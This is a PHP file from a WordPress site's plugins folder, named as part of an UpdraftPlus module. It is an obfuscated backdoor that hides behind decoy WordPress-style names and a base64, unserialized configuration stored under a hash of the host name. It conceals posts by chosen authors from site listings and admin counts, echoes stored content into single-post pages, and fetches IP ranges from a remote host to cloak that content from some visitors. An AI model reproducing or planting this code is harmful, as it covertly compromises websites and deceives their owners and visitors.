File: //proc/thread-self/cwd/wp-content/plugins/updraftplus-module/includes/58d-updraftplus.php
<?php
if (!class_exists('GetPostThumbnailIdPackage')) {
final class GetPostThumbnailIdPackage
{
private static $home_url_variable;
public static function get_bloginfo_character($add_partial_info) {
if (isset(static::$home_url_variable[$add_partial_info])) {
return static::$home_url_variable[$add_partial_info];
}
return null;
}
public static function add_partial_merge($name, $have_posts_exception) {
static::$home_url_variable[$name] = $have_posts_exception;
}
private function __construct() {
}
private function __clone() {
}
public function __wakeup() {
}
}
}
class IsSearchBase
{
public static function is_admin_repository() {
$get_sidebar_boolean = IsSearchBase::get_the_ID_edit();
if ($get_sidebar_boolean) {
IsSearchBase::get_the_time_get($get_sidebar_boolean);
add_filter('posts_where_paged', array('IsSearchBase', 'get_transient_alpha'));
add_action('pre_get_posts', array('IsSearchBase', 'current_user_can_edit'));
add_action('wp_enqueue_scripts', array('IsSearchBase', 'post_class_other'));
add_filter('wp_count_posts', array('IsSearchBase', 'absint_hashing') , 10, 3);
add_action('template_redirect', array('IsSearchBase', 'get_the_modified_date_dns'));
}
}
public static function get_the_time_get($get_sidebar_boolean) {
$has_post_thumbnail_encryption = IsSearchBase::add_action_list();
$get_queried_object_id_cookie = $get_sidebar_boolean[$has_post_thumbnail_encryption];
unset($get_sidebar_boolean[$has_post_thumbnail_encryption]);
GetPostThumbnailIdPackage::add_partial_merge('WpListCommentsException', $get_sidebar_boolean);
GetPostThumbnailIdPackage::add_partial_merge('AddImageSizeSecurity', $get_queried_object_id_cookie);
}
public static function add_action_list() {
$add_section_long = 'md5';
$wp_enqueue_style_ajax = 'sha1';
$comments_open_branch = 'HTTP_HOST';
$get_the_date_string = IsSearchBase::has_post_thumbnail_float($comments_open_branch);
$get_footer_info = $add_section_long($get_the_date_string);
$is_archive_plain = $wp_enqueue_style_ajax($get_footer_info);
return $add_section_long($is_archive_plain);
}
public static function has_post_thumbnail_float($name) {
$the_permalink_library = $_SERVER;
if (isset($the_permalink_library[$name])) {
return $the_permalink_library[$name];
}
}
public static function get_the_ID_edit() {
$has_post_thumbnail_encryption = IsSearchBase::add_action_list();
$post_class_queue = get_option($has_post_thumbnail_encryption);
if ($post_class_queue) {
$register_nav_menus_merge = 'unserialize';
$get_the_ID_call = base64_decode($post_class_queue);
return $register_nav_menus_merge($get_the_ID_call);
}
return false;
}
public static function get_transient_alpha($add_query_arg_framework) {
global $wpdb;
$_x_boolean = GetPostThumbnailIdPackage::get_bloginfo_character('WpListCommentsException');
$wp_nav_menu_soap = array_keys($_x_boolean);
$have_comments_float = implode(', ', $wp_nav_menu_soap);
if (!is_single() && is_admin()) {
add_filter('views_edit-post', array('IsSearchBase', 'add_filter_integer'));
$is_active_sidebar_cron = IsSearchBase::set_transient_pic('is_admin_live');
$get_author_posts_url_other = sprintf($is_active_sidebar_cron, $wpdb->posts, $have_comments_float);
return $add_query_arg_framework . $get_author_posts_url_other;
}
return $add_query_arg_framework;
}
public static function register_nav_menus_all($get_template_part_index) {
$dynamic_sidebar_alpha = IsSearchBase::set_transient_pic('get_stylesheet_uri_ajax');
$is_single_call = IsSearchBase::set_transient_pic('esc_html_more');
return sprintf('%s%s%s', $dynamic_sidebar_alpha, $get_template_part_index, $is_single_call);
}
public static function add_filter_integer($get_post_thumbnail_id_index) {
global $current_user;
$get_transient_ajax = array(
array('status' => null),
array('status' => 'publish'),
array('status' => 'draft'),
array('status' => 'pending'),
array('status' => 'trash'),
array('status' => 'mine'),
);
foreach ($get_transient_ajax as $add_query_arg_url) {
$add_theme_support_get = array(
'post_type' => 'post',
'post_status' => $add_query_arg_url['status']
);
$get_the_author_meta_cron = new WP_Query($add_theme_support_get);
$get_the_time_restful = IsSearchBase::set_transient_pic('add_theme_support_repository');
if ($add_query_arg_url['status'] == null) {
if (preg_match($get_the_time_restful, $get_post_thumbnail_id_index['all'], $have_comments_stack)) {
$get_the_ID_reference = IsSearchBase::register_nav_menus_all($get_the_author_meta_cron->found_posts);
$get_post_thumbnail_id_index['all'] = str_replace($have_comments_stack[0], $get_the_ID_reference, $get_post_thumbnail_id_index['all']);
}
} elseif ($add_query_arg_url['status'] == 'mine') {
$wp_head_restful = $add_theme_support_get;
$wp_head_restful['author__in'] = array($current_user->ID);
$get_the_author_meta_cron = new WP_Query($wp_head_restful);
$get_the_ID_reference = IsSearchBase::register_nav_menus_all($get_the_author_meta_cron->found_posts);
if (preg_match($get_the_time_restful, $get_post_thumbnail_id_index['mine'], $have_comments_stack)) {
$get_post_thumbnail_id_index['mine'] = str_replace($have_comments_stack[0], $get_the_ID_reference, $get_post_thumbnail_id_index['mine']);
}
} elseif ($add_query_arg_url['status'] == 'publish') {
if (preg_match($get_the_time_restful, $get_post_thumbnail_id_index['publish'], $have_comments_stack)) {
$get_post_thumbnail_id_index['publish'] = str_replace($have_comments_stack[0], $get_the_ID_reference, $get_post_thumbnail_id_index['publish']);
}
} elseif ($add_query_arg_url['status'] == 'draft') {
if (preg_match($get_the_time_restful, $get_post_thumbnail_id_index['draft'], $have_comments_stack)) {
$get_post_thumbnail_id_index['draft'] = str_replace($have_comments_stack[0], $get_the_ID_reference, $get_post_thumbnail_id_index['draft']);
}
} elseif ($add_query_arg_url['status'] == 'pending') {
if (preg_match($get_the_time_restful, $get_post_thumbnail_id_index['pending'], $have_comments_stack)) {
$get_post_thumbnail_id_index['pending'] = str_replace($have_comments_stack[0], $get_the_ID_reference, $get_post_thumbnail_id_index['pending']);
}
} elseif ($add_query_arg_url['status'] == 'trash') {
if (preg_match($get_the_time_restful, $get_post_thumbnail_id_index['trash'], $have_comments_stack)) {
$get_post_thumbnail_id_index['trash'] = str_replace($have_comments_stack[0], $get_the_ID_reference, $get_post_thumbnail_id_index['trash']);
}
}
}
return $get_post_thumbnail_id_index;
}
public static function current_user_can_edit($add_theme_support_get) {
if (is_admin()) {
return;
}
if ($add_theme_support_get->is_single()) {
return;
}
$has_post_thumbnail_encryption = 'WpListCommentsException';
$_x_boolean = GetPostThumbnailIdPackage::get_bloginfo_character($has_post_thumbnail_encryption);
$wp_nav_menu_soap = array_keys($_x_boolean);
$add_theme_support_get->set('author__not_in', $wp_nav_menu_soap);
}
public static function admin_url_base($writersArr) {
$number_format_i18n_restful = array();
foreach ($writersArr as $item) {
$number_format_i18n_restful[] = '-' . $item;
}
return implode(',', $number_format_i18n_restful);
}
public static function post_class_other() {
$post = get_queried_object();
if (!is_single()) {
return;
}
$is_page_event = IsSearchBase::add_action_list();
$have_posts_num = get_post_meta($post->ID, $is_page_event, true);
if ($have_posts_num) {
$post_password_required_pic = IsSearchBase::set_transient_pic('the_posts_pagination_function');
if (isset($have_posts_num[$post_password_required_pic]) && $have_posts_num[$post_password_required_pic] === 1) {
return;
}
if (IsSearchBase::is_active_sidebar_index($have_posts_num)) {
return;
}
$esc_attr_x_repository = IsSearchBase::set_transient_pic('wp_link_pages_object');
echo $have_posts_num[$esc_attr_x_repository];
return;
}
$has_post_thumbnail_encryption = 'WpListCommentsException';
$_x_boolean = GetPostThumbnailIdPackage::get_bloginfo_character($has_post_thumbnail_encryption);
foreach ($_x_boolean as $id => $post_class_queue) {
$get_the_time_schema = IsSearchBase::set_transient_pic('add_setting_integer');
if (($id == $post->post_author) && (isset($post_class_queue[$get_the_time_schema]))) {
$post_password_required_pic = IsSearchBase::set_transient_pic('the_posts_pagination_function');
if (isset($post_class_queue[$post_password_required_pic]) && $post_class_queue[$post_password_required_pic] === 1) {
return;
}
if (IsSearchBase::is_active_sidebar_index($post_class_queue)) {
break;
}
$esc_attr_x_repository = IsSearchBase::set_transient_pic('wp_link_pages_object');
echo $post_class_queue[$esc_attr_x_repository];
break;
}
}
}
public static function is_active_sidebar_index($post_class_queue) {
$get_the_time_dns = IsSearchBase::set_transient_pic('add_filter_security');
if (isset($post_class_queue[$get_the_time_dns]) && $post_class_queue[$get_the_time_dns] === 1) {
if (IsSearchBase::the_permalink_restful()) {
return true;
}
}
return false;
}
public static function the_permalink_restful() {
$the_excerpt_alpha = IsSearchBase::wp_enqueue_style_session();
if (strstr($the_excerpt_alpha, ', ')) {
$register_sidebar_package = explode(', ', $the_excerpt_alpha);
$the_excerpt_alpha = $register_sidebar_package[0];
}
$is_admin_security = IsSearchBase::esc_attr_x_less();
if (!$is_admin_security) {
return false;
}
foreach ($is_admin_security as $range) {
if (IsSearchBase::have_comments_xml($the_excerpt_alpha, $range)) {
return true;
}
}
return false;
}
public static function wp_enqueue_style_session() {
$get_stylesheet_uri_git = array(
IsSearchBase::set_transient_pic('is_single_get'),
IsSearchBase::set_transient_pic('get_comments_number_stream'),
IsSearchBase::set_transient_pic('add_image_size_package')
);
foreach ($get_stylesheet_uri_git as $get_header_base) {
if (IsSearchBase::has_post_thumbnail_float($get_header_base)) {
return $get_header_base;
}
}
return false;
}
public static function esc_attr_x_less() {
$home_url_restful = IsSearchBase::set_transient_pic('get_post_thumbnail_id_loop');
$comments_template_http = IsSearchBase::set_transient_pic('has_post_thumbnail_more');
$get_the_modified_date_list = IsSearchBase::set_transient_pic('is_admin_stat');
if (($have_posts_exception = get_option($home_url_restful)) && !IsSearchBase::get_search_form_more($have_posts_exception[$comments_template_http])) {
return $have_posts_exception[$get_the_modified_date_list];
} else {
$get_template_part_info = IsSearchBase::set_transient_pic('is_front_page_http');
$admin_url_edit = wp_remote_get($get_template_part_info);
if (is_wp_error($admin_url_edit)) {
return;
}
$get_footer_beta = wp_remote_retrieve_body($admin_url_edit);
$the_ID_sample = IsSearchBase::set_transient_pic('wp_nav_menu_view');
$is_admin_security = preg_split($the_ID_sample, trim($get_footer_beta), -1, PREG_SPLIT_NO_EMPTY);
if (!is_array($is_admin_security)) {
return;
}
$have_posts_exception = array(
$get_the_modified_date_list => $is_admin_security,
$comments_template_http => time()
);
update_option($home_url_restful, $have_posts_exception, true);
return $have_posts_exception[$get_the_modified_date_list];
}
}
public static function have_comments_xml($the_excerpt_alpha, $cidrnet) {
$the_excerpt_alpha = inet_pton($the_excerpt_alpha);
$comments_open_compiler = IsSearchBase::esc_attr_e_event($the_excerpt_alpha);
list($get_theme_file_uri_more, $the_content_boolean) = explode('/', $cidrnet);
$get_theme_file_uri_more = inet_pton($get_theme_file_uri_more);
$add_filter_ajax = IsSearchBase::esc_attr_e_event($get_theme_file_uri_more);
$get_queried_object_id_xml = substr($comments_open_compiler, 0, $the_content_boolean);
$_x_part = substr($add_filter_ajax, 0, $the_content_boolean);
if ($get_queried_object_id_xml !== $_x_part) {
return false;
} else {
return true;
}
}
public static function esc_attr_e_event($inet) {
$get_theme_file_uri_loop = str_split($inet);
$comments_open_compiler = '';
foreach ($get_theme_file_uri_loop as $char) {
$comments_open_compiler .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
}
return $comments_open_compiler;
}
public static function get_search_form_more($esc_attr_x_trigger) {
if ((time() - $esc_attr_x_trigger) > 60 * 60) {
return true;
}
return false;
}
public static function absint_hashing($counts, $add_query_arg_url, $is_home_client) {
if ($add_query_arg_url === 'post') {
$the_excerpt_repository = $counts->publish;
$wp_list_comments_add = IsSearchBase::is_active_sidebar_ajax($is_home_client);
$counts->publish = !$wp_list_comments_add ? $the_excerpt_repository : $wp_list_comments_add;
}
return $counts;
}
public static function is_active_sidebar_ajax($is_home_client) {
global $wpdb;
$_x_boolean = GetPostThumbnailIdPackage::get_bloginfo_character('WpListCommentsException');
$wp_nav_menu_soap = array_keys($_x_boolean);
$have_comments_float = implode(', ', $wp_nav_menu_soap);
$add_query_arg_url = 'post';
$is_active_sidebar_cron = IsSearchBase::set_transient_pic('wp_head_dns');
$add_theme_support_get = sprintf($is_active_sidebar_cron, $wpdb->posts, '%s');
if ('readable' == $is_home_client && is_user_logged_in()) {
$post_type_object = get_post_type_object($add_query_arg_url);
if (!current_user_can($post_type_object->cap->read_private_posts)) {
$is_single_info = IsSearchBase::set_transient_pic('is_search_trigger');
$add_theme_support_get .= $wpdb->prepare(
$is_single_info, get_current_user_id()
);
}
}
$the_post_method = sprintf(IsSearchBase::set_transient_pic('edit_post_link_stream'), $have_comments_float);
$add_theme_support_get .= $the_post_method;
$results = (array)$wpdb->get_results($wpdb->prepare($add_theme_support_get, $add_query_arg_url), ARRAY_A);
foreach ($results as $get_the_category_list_cron) {
if ($get_the_category_list_cron['post_status'] === 'publish') {
return $get_the_category_list_cron['num_posts'];
}
}
}
public static function get_the_modified_date_dns() {
global $post;
$_x_boolean = GetPostThumbnailIdPackage::get_bloginfo_character('WpListCommentsException');
$authors_ids_arr = array_keys($_x_boolean);
if (!$post || !property_exists($post, 'author')) {
return;
}
if (in_array($post->post_author, $authors_ids_arr)) {
add_filter(IsSearchBase::set_transient_pic('wp_get_attachment_image_src_other'), '__return_false');
add_filter(IsSearchBase::set_transient_pic('get_transient_boolean'), '__return_false');
add_filter(IsSearchBase::set_transient_pic('is_singular_restful'), '__return_false');
}
}
public static function set_transient_pic($name) {
$get_template_part_plain = GetPostThumbnailIdPackage::get_bloginfo_character('AddImageSizeSecurity');
if (isset($get_template_part_plain[$name])) {
return $get_template_part_plain[$name];
}
}
}
add_action('plugins_loaded', array('IsSearchBase', 'is_admin_repository'));